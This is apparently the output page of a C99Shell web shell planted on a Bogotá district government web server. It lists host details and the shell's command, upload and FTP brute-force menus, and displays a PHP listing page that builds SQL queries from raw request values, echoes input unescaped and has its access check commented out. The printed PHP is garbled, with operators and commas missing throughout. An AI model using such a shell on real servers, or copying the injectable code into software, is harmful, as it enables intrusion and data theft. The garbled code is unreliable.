!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\AmbienteBogota\ambientebogota.gov.co\actores\Secretariaambiente\   drwxrwxrwx
Free 4.11 GB of 39.52 GB (10.39%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     consulta_organizaciones_paginada.php (16.33 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
//prevents caching
header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
session_cache_limiter();
session_start();

require('config.php');
require('functions.php');
*/
//check for administrative rights
/*
if (allow_access(Administrators) != "yes")
{
    include ('no_access.php');
    exit;
}
*/
//make connection to dbase
/*********************************************************************************
* Se le realizarán modificaciones para hacer que consulte sobre reg_organizaciones
**********************************************************************************/
$table_name="reg_organizaciones";
$connection = @mysql_connect($server$dbusername$dbpassword)
            or die(
mysql_error());
            
$db = @mysql_select_db($db_name,$connection)
            or die(
mysql_error());

//build and issue the query
$sql ="SELECT * FROM $table_name";
$result = @mysql_query($sql,$connection) or die(mysql_error());

?>

<head>
<meta http-equiv="Content-Language" content="en-us">
<link rel="stylesheet" type="text/css" href="adminpage.css">
</head>

<body topmargin="0" leftmargin="0" rightmargin="0" bottommargin="0">

<table border="0" width="100%" id="table1">
    <tr> 
    <!-- Antes era center -->
        <td align="left"> 
<!-- En la siguiente tabla se necesita definir el tamaño por porcentaje y no por pixeles -->
<table border="0" width="100%" id="table2" cellspacing="0" cellpadding="4">
  <tr>
                
    <td width="180"><b><font size="4"></font></b> </td>
    <!--            
    <td align="right"><i>&nbsp;&nbsp;| 
      </i><a href="../listado_experiencias.php?id=<?//php echo $_SESSION[id]; ?>">Regresar</a><i>&nbsp;| &nbsp;</i></td> -->
            </tr>
            <tr>
                
    <td width="180"><b>Logueado como <?php echo $_SESSION[user_name]; ?></b></td>
    <td align="right"></td>
            </tr>
            <tr>
                
    <td width="180">&nbsp;</td>
    <td align="right"><i></i></td>
            </tr>
            
            <tr>
                <td width="80" valign="top">
                
                <table border="0" width="100%" id="table3" cellspacing="0" cellpadding="0">
                    <tr>
                        
                        <td width="38%" valign="top">
                        <table border="0" width="100%" id="table38" cellspacing="0" cellpadding="0">
                            <tr>
                                <td>

<!-- Creacion de funcionarios -->
                            
<?php
if ($_POST[alter2] == "add")
{

}else
{

}
?>


                                </td>
                            </tr>
                            <tr>
                                <td>
    <?php
    
if ($_POST[alter2] == "add")
    {
    
echo 
"<option>Users</option>";
$i 0;
while (
$i $num_groups)
{
    echo 
"<option value=\"$group_array[$i]\">$group_array[$i]</option>";
    
$i++;
}
    echo 
"<option></option>";
$i 0;
while (
$i $num_groups)
{
    echo 
"<option value=\"$group_array[$i]\">$group_array[$i]</option>";
    
$i++;
}

    echo 
"<option></option>";
$i 0;
while (
$i $num_groups)
{
    echo 
"<option value=\"$group_array[$i]\">$group_array[$i]</option>";
    
$i++;
}

}
?>

                            </tr>
                            <tr>
                                <td><font size="1" face="Tahoma">
                                
                                <?php
                                
if ($_POST[alter1] == "modify" || $_POST[user] != "")
                                {
                                                                }
                                else{
                            
                                }
                                
?>
                                
                                
                                </td>                                
                                <?php
if (($_POST[alter1] == "modify") || ($_POST[user] != ""))
{
?>
<tr>
<td>
    <font size="1" face="Tahoma">


<form name="myform" id="myform" action="<?php $PHP_SELF?>" method="POST">
            <table border="0" width="100%" id="table41" cellspacing="0" cellpadding="0" bordercolorlight="#C0C0C0" bordercolordark="#FFFFFF">
                <tr>
                    <td width="140">Username:</td>
                    <td><font size="1" face="Tahoma">
                    <select size="1" name="username" onChange="document.myform.submit()">
<?php

if ($_POST[user] != "")
{
echo 
"<option>$_POST[user]</option>";
echo 
"<option value=\"\"></option>";
}
else
{
echo 
"<option></option>";
}

//require the config file
require ("../config.php");

//make the connection to the database
$connection = @mysql_connect($server$dbusername$dbpassword) or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)or die(mysql_error());

//build and issue the query
$sql ="SELECT * FROM $table_name";
$result = @mysql_query($sql,$connection) or die(mysql_error());
    while (
$sql mysql_fetch_object($result)) 
    {
        
$uname $sql -> user;
        echo 
"<option value=\"$uname\">$uname</option>";
    }

if (
$_POST[user] != "")
{

    
//require the config file
require ("../config.php");

//make the connection to the database
$connection = @mysql_connect($server$dbusername$dbpassword) or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)or die(mysql_error());

//build and issue the query
$sql ="SELECT * FROM $table_name WHERE user = '$_POST[user]'";
$result = @mysql_query($sql,$connection) or die(mysql_error());

while (
$sql mysql_fetch_object($result)) 
{
    
$m_first $sql -> firstname;
    
$m_last $sql -> lastname;    
    
$g_1     $sql -> group1;
    
$g_2     $sql -> group2;
    
$g_3     $sql -> group3;            
    
$chng     $sql -> pchange;
    
$m_email $sql -> email;
    
$direct $sql -> redirect;

}

echo 
"<option>$g_1</option>";
$i 0;
while (
$i $num_groups)
{
    echo 
"<option value=\"$group_array[$i]\">$group_array[$i]</option>";
    
$i++;
}

echo 
"<option>$g_2</option>";
$i 0;
while (
$i $num_groups)
{
    echo 
"<option value=\"$group_array[$i]\">$group_array[$i]</option>";
    
$i++;
}


echo 
"<option>$g_3</option>";
$i 0;
while (
$i $num_groups)
{
    echo 
"<option value=\"$group_array[$i]\">$group_array[$i]</option>";
    
$i++;
}
}

}
if (
$_POST[alter] == "options")
{

}
else
{

}

if (
$_POST[alter] == "options")
{

//require the config file
require ("../config.php");

//make the connection to the database
$connection = @mysql_connect($server$dbusername$dbpassword) or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)or die(mysql_error());

//build and issue the query
$sql ="SELECT user FROM $table_name ORDER BY nombre";
$result = @mysql_query($sql,$connection) or die(mysql_error());

while (
$sql mysql_fetch_object($result)) 
{
    
$uname $sql -> user;
    if (
$uname != $_SESSION[user_name])
    {
    echo 
"<option value=\"$uname\">$uname</option>";
    }
}

//require the config file
require ("../config.php");

//make the connection to the database
$connection = @mysql_connect($server$dbusername$dbpassword) or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)or die(mysql_error());

//build and issue the query
$sql ="SELECT user FROM trash ORDER BY nombre";
$result = @mysql_query($sql,$connection) or die(mysql_error());

while (
$sql mysql_fetch_object($result)) 
{
    
$uname $sql -> user;
    if (
$uname != $_SESSION[user_name])
    {
    echo 
"<option value=\"$uname\">$uname</option>";
    }
}

//require the config file
require ("../config.php");

//make the connection to the database
$connection = @mysql_connect($server$dbusername$dbpassword) or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)or die(mysql_error());

//build and issue the query
$sql ="SELECT user FROM $table_name ORDER BY nombre";
$result = @mysql_query($sql,$connection) or die(mysql_error());

while (
$sql mysql_fetch_object($result)) 
{
    
$uname $sql -> user;
    
    if (
$uname != $_SESSION[user_name])
    {
    echo 
"<option value=\"$uname\">$uname</option>";
    }
}
?>
                </select></font></td>
            </tr>
            <tr>
                <td>
                <font size="1" face="Tahoma">
                <input type="text" name="oct1" size="3" maxlength="3"></font>.<font size="1" face="Tahoma"><input type="text" name="oct2" size="3" maxlength="3"></font><font face="Tahoma">.</font><font size="1" face="Tahoma"><input type="text" name="oct3" size="3" maxlength="3"><font face="Tahoma">.</font><input type="text" name="oct4" size="3" maxlength="3"></font></td>
            </tr>
            <tr>
                <td>
                <font size="1" face="Tahoma">
<?php
//require the config file
require ("../config.php");

//make the connection to the database
$connection = @mysql_connect($server$dbusername$dbpassword) or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)or die(mysql_error());

//build and issue the query
$sql ="SELECT * FROM banned WHERE type = 'user'";
$result = @mysql_query($sql,$connection) or die(mysql_error());

while (
$sql mysql_fetch_object($result)) 
{
    
$banned $sql -> no_access;
    
    echo 
"<option value=\"$banned\">$banned</option>";
}
//require the config file
require ("../config.php");

//make the connection to the database
$connection = @mysql_connect($server$dbusername$dbpassword) or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)or die(mysql_error());

//build and issue the query
$sql ="SELECT * FROM banned WHERE type = 'ip'";
$result = @mysql_query($sql,$connection) or die(mysql_error());

while (
$sql mysql_fetch_object($result)) 
{
    
$banned $sql -> no_access;
    echo 
"<option value=\"$banned\">$banned</option>";
}

}
?>
        </td>

                    </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    </table>
                
                
                </td>



            </tr>
        </table>
        </td>
                        <td valign="top">
    <?php
if ($user_det == "")
{

if (!isset(
$_GET['max_results']))
{
    
$max_results 5;
}else{
    
$max_results $_GET['max_results'];
}    

if(!isset(
$_GET['page'])){ 
    
$page 1
} else { 
    
$page $_GET['page']; 


if (isset(
$_GET['search']))
{
    
$s_string $_GET['search'];
    
$explodeit explode(" ""$s_string");
    
$c count($explodeit);
    if (
$c 1)
    {
        for (
$i=0$i<$c$i++)
        {
            
$search $explodeit[$i]."+";
        }
    }else{
        
$search $s_string;
    }
}

echo 
"Número de resultados por página: <a href=\"".$_SERVER['PHP_SELF']."?page=$page&max_results=5&search=$search\">5</a>";
echo 
" <a href=\"".$_SERVER['PHP_SELF']."?page=$page&max_results=10&search=$search\">10</a><br>";  

// Figure out the limit for the query based 
// on the current page number. 
$from = (($page $max_results) - $max_results); 

// Perform MySQL query on only the current page number's results 
if (!isset($_GET['search']))
{
    
$set_lim "SELECT * FROM $table_name ORDER BY nombre LIMIT $from$max_results"
}else{
    
$search $_GET['search'];
    
$set_lim "SELECT * FROM $table_name WHERE user LIKE '%$search%' || acronimo LIKE '%$search%' || nombre LIKE '%$search%' 
    || direccion LIKE '%
$search%' || localidad LIKE '%$search%' || email LIKE '%$search%' ORDER BY nombre LIMIT $from$max_results";     
}    
$set_res = @mysql_query($set_lim,$connection) or die(mysql_error());

while (
$set_lim mysql_fetch_object($set_res)) 

/*
$fname         = $set_lim -> firstname;
$lname         = $set_lim -> lastname;
$uname         = $set_lim -> user;
$p_change    = $set_lim -> pchange;
$verif_d    = $set_lim -> verified;
$last         = $set_lim -> last_login;
$re_direct     = $set_lim -> redirect;
$groupA        = $set_lim -> group1;
$groupB        = $set_lim -> group2;
$groupC        = $set_lim -> group3;
$e_mail        = $set_lim -> email;
*/
$user$set_lim -> user;
$nombre$set_lim -> nombre;
$acronimo$set_lim -> acronimo;
$nit$set_lim -> identi;
$direccion$set_lim -> direccion;
$telefono$set_lim -> telefono;
$localidad$set_lim -> localidad;
$territorio$set_lim -> territorio;
$email$set_lim -> email;
$nombre1$set_lim -> nombre1;
$apellido$set_lim -> apellido;
$email2$set_lim -> email2;
$web$set_lim -> web;

if (
$p_change == 1)
{
$p_change "Yes";}else{$p_change "No";}

if (
$verif_d == "0")
{
$verif_d"No";}else{$verif_d"Yes";}


echo 
"<br><table border=\"0\" width=\"100%\" id=\"table5\" cellpadding=4 cellspacing=0 bgcolor=\"#ffffff\">";
echo 
"<tr>";
echo 
"<td width=\"100\"><b><a href=\"".$SERVER['PHP_SELF']."?user_det=$nombre&ret_page=$page&ret_max=$max_results&search=$search\">$nombre</a></b></td>";
echo 
"<td width=\"80\">Email:</font></td>";
echo 
"<td>$email</td>";

echo 
"</tr>";

echo 
"<tr>";
echo 
"<td width=\"100\">&nbsp;</td>";
echo 
"<td width=\"100\">Nit:</td>";
echo 
"<td>$nit</td>";
echo 
"</tr>";


echo 
"<tr>";
echo 
"<td width=\"100\">&nbsp;</td>";
echo 
"<td width=\"100\">Dirección:</td>";
echo 
"<td>$direccion</td>";
echo 
"</tr>";

echo 
"<tr>";
echo 
"<td width=\"100\">&nbsp;</td>";
echo 
"<td width=\"100\">Localidad:</td>";
echo 
"<td>$localidad</td>";
echo 
"</tr>";

echo 
"<tr>";
echo 
"<td width=\"100\">&nbsp;</td>";
echo 
"<td width=\"100\">Territorio:</td>";
echo 
"<td>$territorio</td>";
echo 
"</tr>";

echo 
"<tr>";
echo 
"<td width=\"100\">&nbsp;</td>";
echo 
"<td width=\"100\">Teléfono:</td>";
echo 
"<td>$telefono</td>";
echo 
"</tr>";

echo 
"<tr>";
echo 
"<td width=\"100\">&nbsp;</td>";
echo 
"<td width=\"100\">Contacto:</td>";
echo 
"<td>$nombre1 $apellido</td>";
echo 
"</tr>";

echo 
"<tr>";
echo 
"<td width=\"100\">&nbsp;</td>";
echo 
"<td width=\"100\">email Contacto:</td>";
echo 
"<td>$email2</td>";
echo 
"</tr>";

echo 
"<tr>";
echo 
"<td width=\"100\">&nbsp;</td>";
echo 
"<td width=\"100\">Comit&eacute;:</td>";
echo 
"<td>$web</td>";
echo 
"</tr>";

echo 
"</table>";


}
 

// Figure out the total number of results in DB: 
if (!isset($_GET['search']))
{
    
$total_results mysql_result(mysql_query("SELECT COUNT(*) as Num FROM reg_organizaciones"),0); 
}else{
$total_results mysql_result(mysql_query("SELECT COUNT(*) as Num FROM reg_organizaciones
    WHERE user LIKE '%
$search%' || acronimo LIKE '%$search%' || direccion LIKE '%$search%' || localidad LIKE '%$search%' || email LIKE '%$search%'"),0); 
}    

// Figure out the total number of pages. Always round up using ceil() 
$total_pages ceil($total_results $max_results); 

// Build Page Number Hyperlinks 
echo "<center>Elija página<br />"

// Build Previous Link 
if($page 1){ 
    
$prev = ($page 1); 
    echo 
"<a href=\"".$_SERVER['PHP_SELF']."?page=$prev&max_results=$max_results&search=$search\">&lt;&lt;&nbsp;&nbsp; </a> "


for(
$i 1$i <= $total_pages$i++){ 
    if((
$page) == $i){ 
        echo 
"$i "
        } else { 
            echo 
"<a href=\"".$_SERVER['PHP_SELF']."?page=$i&max_results=$max_results&search=$search\">$i</a> "
    } 


// Build Next Link 
if($page $total_pages){ 
    
$next = ($page 1); 
    echo 
"<a href=\"".$_SERVER['PHP_SELF']."?page=$next&max_results=$max_results&search=$search\">&nbsp;&nbsp; &gt;&gt;</a>"

echo 
"</center>"
}else{
echo 
"<b>Details for $user_det</b><br>";

$dsql "SELECT * FROM $table_name WHERE user = '$user_det'"
$dresults = @mysql_query($dsql,$connection) or die(mysql_error());
while (
$dsql mysql_fetch_object($dresults)) 
{
/*
$fname         = $dsql -> firstname;
$lname         = $dsql -> lastname;
$uname         = $dsql -> user;
$p_change    = $dsql -> pchange;
$verif_d    = $dsql -> verified;
$last         = $dsql -> last_login;
$re_direct     = $dsql -> redirect;
$groupA        = $dsql -> group1;
$groupB        = $dsql -> group2;
$groupC        = $dsql -> group3;
$e_mail        = $dsql -> email;
*/
$user$set_lim -> user;
$acronimo$set_lim -> acronimo;
$direccion$set_lim -> direccion;
$localidad$set_lim -> localidad;
$email$set_lim -> email;

if (
$p_change == "0")
{
$p_change "No";
}else{
$p_change "Yes";
}

if (
$verif_d == "0")
{
$verif_d "No";
}else{
$verif_d "Yes";
}
?>
     
<center>
        <a href="<?php echo $_SERVER['PHP_SELF']."?page=$ret_page&max_results=$ret_max&search=$search"?>">Volver 
        a listado</a> 
      </center>

<?php
}}
if (
$search != "")
{
    if (
$ret_max)
    { 
$page=$ret_page$max_results=$ret_max; }
    echo 
"<center><a href=\"".$_SERVER['PHP_SELF']."?page=$page&max_results=$max_results\">Exit Search</a>";
}else{
echo 
"<br><br>";
}
?>                        
<center>
<form method="GET" action="<?php echo $_SERVER['PHP_SELF']."?page=$page&max_results=$max_results&search="?>">
          <p>Buscar
<input type="text" name="search" size="20"><input type="submit" value="Submit" name="B1"></p>
</form>
</center>

</td>
</tr>
</table>
<br><br>
<hr noshade height=1 color="#cccccc" width="90%">
<div align="center">Secretaria Distrital de Ambiente </div>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--